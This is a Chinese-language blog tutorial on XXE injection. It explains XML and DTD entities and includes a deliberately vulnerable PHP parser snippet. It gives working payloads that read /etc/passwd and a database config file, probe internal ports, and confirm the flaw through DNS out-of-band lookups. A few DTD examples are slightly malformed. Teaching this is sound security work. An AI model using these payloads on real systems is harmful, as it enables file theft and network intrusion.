
OWASPtop10——XXE笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、概述
XXE(XML External Entity Injection)xml外部实体注入
二、前提
Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行
注意:这个漏洞必须是在libxml2.9.1这个版本以及更低的版本才能利用。
<?xml version="1.0"?>
<students>
<student id="1">
<name>zhangsan</name>
<age>13</age>
</student>
<student>
<name>lisi</name>
<age>13</age>
</student>
<student>
<name>wangwu</name>
<age>12</age>
</student>
</students>
三、危害
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
四、XML基础
1、语法规则:
XML必须有个根元素
XML标签必须具有结束标记
XML标签区分大小写
XML元素必须正确嵌套
XML属性值必须始终加引号
<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>
五、实体
1、DTD(document type definition)
文档类型声明:DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成
内部声明:
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE user [ <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>
外部声明:
user.dtd
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE 成 [ <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型-->
]]]>
xml内容
user.xml
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">
<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>
2、实体:
在DTD中声明的变量就是实体,通过在标签中使用&实体名;
引用
(1)内部实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY name "alex">]>
<foo>
<value>&name;</value>
</foo>
(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>
test.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
<user>&xxe;</user>
<pass>mypass</pass>
</foo>
区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。
六、外部实体漏洞:
当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell
<!ENTITY name SYSTEM 任意文件路径>
php代码:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo $data;
?>
payload:
http://192.168.32.129/secure21/php/xxedemo.php
post正文:
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>
也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/goods/common/dbconn.php">
]>
<node>&woniu;</node>
也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>
DNS带外探测:
dnslog.cn申请临时域名
payload:
在临时域名前增加test.
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://test.ud472k.dnslog.cn">
]>
<node>&woniu;</node>
访问后发现有dns日志,说明存在这个xxe的漏洞
- 感谢你赐予我前进的力量